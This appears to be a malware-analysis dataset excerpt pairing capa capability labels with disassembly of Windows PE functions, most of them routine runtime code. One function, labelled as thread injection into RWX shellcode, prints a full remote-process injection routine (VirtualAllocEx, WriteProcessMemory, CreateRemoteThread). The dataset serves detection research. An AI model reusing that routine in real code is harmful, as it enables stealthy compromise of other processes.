joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Enumerate gui resources

Disassembly:
push rbp
sub rsp, 0x30
lea rbp, [rsp + 0x20]
mov eax, dword [rsp]
mov qword [rbp + 0x20], rbx
mov qword [rbp + 8], 0x13
sub rsp, 0x40
lea rcx, [rsp + 0x20]
mov eax, dword [rcx]
test rcx, rcx
je 0x140001034
mov dword [rcx], 0xcccc
add rcx, 0x10
mov qword [rbp], rcx
test rcx, rcx
je 0x14000106e
lea rdx, [rbp]
lea rcx, [0x14000107c]
call qword [sym.imp.USER32.dll_EnumWindows]
mov rcx, qword [rbp]
mov ebx, eax
test rcx, rcx
je 0x14000106a
add rcx, 0xfffffffffffffff0
cmp dword [rcx], 0xdddd
jne 0x14000106a
call fcn.140006630
mov eax, ebx
jmp 0x140001070
xor eax, eax
mov rbx, qword [rbp + 0x20]
lea rsp, [rbp + 0x10]
pop rbp
ret
Function at 0x140001970
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor r8d, r8d
xor edx, edx
mov rsi, rcx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edi, eax
test eax, eax
je 0x1400019bd
mov ecx, edi
add rcx, rcx
call fcn.140006644
mov rbx, rax
test rax, rax
je 0x1400019bd
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x1400019bd
mov rax, rbx
jmp 0x1400019bf
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1400029bc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002a06
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002a06
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002a06
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002a06
cmp dword [rcx + 0x84], 0xe
jbe 0x140002a06
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002a08
xor al, al
add rsp, 0x28
ret

Function at 0x140007308
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007104
Function at 0x14000a2e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000a367
mov rsi, rbx
cmp word [rax], bp
je 0x14000a326
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000a310
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000a30c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140007d08
mov rdi, rax
test rax, rax
je 0x14000a354
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000f7d0
mov rbp, rdi
xor ecx, ecx
call fcn.140007ccc
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14000efc0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000efe8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000efe8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001ab8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b02
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b04
xor al, al
add rsp, 0x28
ret

Function at 0x100001000
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate process modules
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub rsp, 0x11f8
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rsi
lea rcx, [rsp + 0x48]
mov edx, 0xfa0
lea r8, [rsp + 0xfe8]
call qword [sym.imp.kernel32.dll_K32EnumProcesses]
test al, al
je 0x100001195
mov esi, dword [rsp + 0xfe8]
mov ecx, 0x43a
xor rdx, rdx
mov r8d, dword [rsp + rsi + 0x44]
call qword [sym.imp.kernel32.dll_OpenProcess]
test rax, rax
je 0x100001093
mov rbp, rax
mov rcx, rbp
xor rdx, rdx
lea r8, [rsp + 0xfe8]
mov r9d, 0x100
call qword [sym.imp.kernel32.dll_K32GetModuleBaseNameW]
test eax, eax
je 0x10000108a
lea rcx, [0x100004c44]
lea rdx, [rsp + 0xfe8]
call qword [sym.imp.kernel32.dll_lstrcmpiW]
test eax, eax
je 0x1000010ba
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
sub esi, 4
jne 0x100001038
xor rcx, rcx
lea rdx, [0x100004c64]
lea r8, [0x100004c60]
mov r9d, 0x10040
call qword [sym.imp.user32.dll_MessageBoxW]
jmp 0x1000011b2
mov rcx, rbp
xor rdx, rdx
mov r8d, dword [0x100000090]
mov r9d, 0x1000
mov dword [rsp + 0x20], pe_nt_image_headers64
call qword [sym.imp.kernel32.dll_VirtualAllocEx]
test rax, rax
je 0x10000118c
mov rsi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov rax, qword [rax]
mov rax, qword [rax]
mov rax, qword [rax + 0x30]
sub qword [sym.imp.kernel32.dll_LoadLibraryA], rax
sub qword [sym.imp.kernel32.dll_GetProcAddress], rax
mov rcx, rbp
mov rdx, rsi
lea r8, [0x100000000]
mov r9d, dword [0x100000090]
mov qword [rsp + 0x20], 0
call qword [sym.imp.kernel32.dll_WriteProcessMemory]
test al, al
je 0x100001177
mov rcx, rbp
xor rdx, rdx
mov r8d, 0x1000
lea r9, [rsi + 0x11cd]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x30], rdx
call qword [sym.imp.kernel32.dll_CreateRemoteThread]
test rax, rax
je 0x100001177
mov rcx, rax
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
jmp 0x1000011b2
mov rcx, rbp
mov rdx, rsi
xor r8, r8
mov r9d, 0x4000
call qword [sym.imp.kernel32.dll_VirtualFreeEx]
mov rcx, rbp
call qword [sym.imp.kernel32.dll_CloseHandle]
xor rcx, rcx
lea rdx, [0x100004c94]
lea r8, [0x100004c60]
mov r9d, 0x10010
call qword [sym.imp.user32.dll_MessageBoxW]
xor rcx, rcx
call qword [sym.imp.kernel32.dll_ExitProcess]
Function at 0x2fc528a40
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc529b20
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc529442
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc54b108]
test eax, eax
je 0x2fc5294da
lea rax, [0x2fc54b0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc54b110]
mov qword [rbp - 8], rax
jmp 0x2fc5294be
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc5294b2
cmp qword [rbp - 0x10], 0
je 0x2fc5294b2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc529478
lea rax, [0x2fc54b0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc5294db
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc5295e0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc529608
mov eax, 0
jmp 0x2fc529656
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc529631
mov eax, 0
jmp 0x2fc529656
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc529651
mov eax, 0
jmp 0x2fc529656
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc52965c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc5296da
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc5296d1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc5296d1
mov rax, qword [rbp - 8]
jmp 0x2fc5296ef
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc5296a4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4db780
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4dc860
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4dc182
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fe108]
test eax, eax
je 0x2fc4dc21a
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fe110]
mov qword [rbp - 8], rax
jmp 0x2fc4dc1fe
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4dc1f2
cmp qword [rbp - 0x10], 0
je 0x2fc4dc1f2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4dc1b8
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4dc21b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4dc320
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4dc348
mov eax, 0
jmp 0x2fc4dc396
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4dc371
mov eax, 0
jmp 0x2fc4dc396
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4dc391
mov eax, 0
jmp 0x2fc4dc396
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4dc39c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4dc41a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4dc411
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4dc411
mov rax, qword [rbp - 8]
jmp 0x2fc4dc42f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4dc3e4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d9c20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4dad00
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4da622
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fd108]
test eax, eax
je 0x2fc4da6ba
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fd110]
mov qword [rbp - 8], rax
jmp 0x2fc4da69e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4da692
cmp qword [rbp - 0x10], 0
je 0x2fc4da692
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4da658
lea rax, [0x2fc4fd0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4da6bb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4da7c0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4da7e8
mov eax, 0
jmp 0x2fc4da836
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4da811
mov eax, 0
jmp 0x2fc4da836
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4da831
mov eax, 0
jmp 0x2fc4da836
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4da83c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4da8ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4da8b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4da8b1
mov rax, qword [rbp - 8]
jmp 0x2fc4da8cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4da884
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400111f4
Capabilities:
Terminate process

Disassembly:
jmp 0x140012f80
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001127b
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400142d0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400142f0
xor al, al
jmp 0x140014371
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014303
xor al, al
jmp 0x140014371
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001432d
xor al, al
jmp 0x140014371
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014341
xor al, al
jmp 0x140014371
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014353
xor al, al
jmp 0x140014371
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001436f
xor al, al
jmp 0x140014371
mov al, 1
add rsp, 0x38
ret
Function at 0x140001568
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x850
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x840], rax
xor r9d, r9d
lea rax, [rsp + 0x40]
mov rdi, rdx
mov qword [rsp + 0x20], rax
mov rsi, rcx
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
xor ebp, ebp
test eax, eax
js 0x140001643
sub rdi, rsi
lea rax, [rsp + 0x40]
or rbx, 0xffffffffffffffff
mov r9, rbx
inc r9
cmp word [rax + r9*2], bp
jne 0x1400015ca
mov qword [rsp + 0x38], rbp
lea r8, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], ebp
mov ecx, 0xfde9
mov qword [rsp + 0x20], rbp
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
movsxd r14, eax
lea rax, [rdi - 1]
cmp r14, rax
ja 0x140001643
lea rax, [rsp + 0x40]
inc rbx
cmp word [rax + rbx*2], bp
jne 0x14000160a
mov qword [rsp + 0x38], rbp
lea r8, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
mov r9, rbx
mov dword [rsp + 0x28], edi
xor edx, edx
mov ecx, 0xfde9
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov al, 1
mov byte [r14 + rsi], bpl
jmp 0x140001645
xor al, al
mov rcx, qword [rsp + 0x840]
xor rcx, rsp
call fcn.140019540
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140001670
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
lea rbp, [rsp - 0x970]
sub rsp, 0xa70
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x960], rax
or r9, 0xffffffffffffffff
mov qword [rsp + 0x30], rcx
xor ebx, ebx
inc r9
cmp byte [rcx + r9], bl
jne 0x1400016a1
lea rax, [rbp + 0x160]
mov dword [rsp + 0x28], 0x400
mov r8, rcx
mov qword [rsp + 0x20], rax
mov ecx, 0xfde9
xor edx, edx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, 0x3ff
cmp eax, ecx
cmova eax, ecx
add rax, rax
cmp rax, 0x800
jae 0x140001852
xor edx, edx
mov word [rbp + rax + 0x160], bx
lea rcx, [rbp + 0x160]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x14000184e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x14000184e
movdqa xmm0, xmmword [0x140046390]
lea r8, [rsp + 0x40]
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x30]
movdqa xmmword [rbp - 0x80], xmm0
lea rcx, [rbp + 0x50]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmmword [rbp], xmm0
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm0, xmmword [0x140046d70]
movdqa xmmword [rsp + 0x70], xmm1
movdqa xmmword [rbp - 0x70], xmm1
movdqa xmmword [rbp - 0x50], xmm1
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm1, xmmword [str.u04_AV]
movdqa xmmword [rbp + 0x50], xmm0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x60], xmm1
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x70], xmm0
movdqa xmmword [rbp + 0x90], xmm0
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmmword [rbp + 0x110], xmm0
movdqa xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x40], 2
movdqa xmmword [rbp + 0x80], xmm1
movdqa xmmword [rbp + 0xa0], xmm1
movdqa xmmword [rbp + 0xc0], xmm1
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmmword [rbp + 0x100], xmm1
movdqa xmmword [rbp + 0x120], xmm1
movdqa xmmword [rbp + 0x140], xmm1
mov qword [rbp + 0x150], 0x1b
call fcn.1400020ec
xor al, al
mov rcx, qword [rbp + 0x960]
xor rcx, rsp
call fcn.140019540
mov rbx, qword [rsp + 0xa88]
add rsp, 0xa70
pop rbp
ret
mov al, 1
jmp 0x14000182e
call fcn.140019674
int3
Function at 0x1400020ec
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x570]
sub rsp, 0x670
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x560], rax
movdqa xmm0, xmmword [str.5_8]
lea rax, [rbp + 0x160]
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm0, xmm0
mov qword [rsp + 0x30], rax
mov rdi, rdx
movdqa xmmword [rsp + 0x50], xmm1
mov edx, 2
movdqa xmmword [rsp + 0x60], xmm0
mov rsi, r8
movdqa xmmword [rsp + 0x70], xmm1
mov rbx, rcx
movdqa xmmword [rbp - 0x80], xmm0
movdqa xmmword [rbp - 0x70], xmm1
lea rcx, [rbp + 0x50]
lea r8d, [rdx + 0x7e]
movdqa xmmword [rbp - 0x60], xmm0
movdqa xmmword [rbp - 0x50], xmm1
lea rax, [rsp + 0x40]
movdqa xmmword [rbp - 0x40], xmm0
movdqa xmmword [rbp - 0x30], xmm1
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmmword [rbp], xmm0
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x30], xmm1
mov qword [rbp + 0x40], 9
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, r8
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x1400021a5
mov rax, qword [rax]
